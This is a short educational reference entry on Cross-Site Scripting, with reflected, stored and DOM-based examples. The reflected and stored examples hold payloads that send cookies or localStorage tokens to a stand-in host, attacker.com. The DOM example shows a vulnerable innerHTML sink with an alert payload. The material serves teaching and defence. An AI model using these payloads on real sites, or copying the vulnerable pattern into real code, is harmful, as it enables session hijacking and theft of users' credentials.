XSS
HighCross-Site Scripting
Definition
Cross-Site Scripting (XSS) is a vulnerability that lets an attacker inject malicious JavaScript into web pages viewed by other users. The victim's browser executes the script believing it comes from a legitimate source, which allows stealing cookies, session tokens or redirecting the user to malicious sites.
Impact
Examples
Basic Reflected XSS
The search parameter is reflected directly into the HTML without sanitization. The browser executes the script and sends the cookies to the attacker's server.
<!-- Malicious URL --> https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- The server reflects the parameter without sanitizing it --> <p>Results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></p>
Stored XSS in comments
An attacker posts a comment with malicious code that is stored in the database. Every time another user loads the page, the script runs automatically.
<!-- Malicious comment stored in the database -->
<img src=x onerror="fetch('https://attacker.com/steal?token='+localStorage.getItem('token'))">DOM-based XSS
The client-side JavaScript takes data from a user-controllable source (such as the URL hash) and inserts it into the DOM without sanitizing it, all without any interaction with the server.
// Vulnerable client-side code
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;
// Attack URL
https://example.com/page#<img src=x onerror=alert(document.cookie)>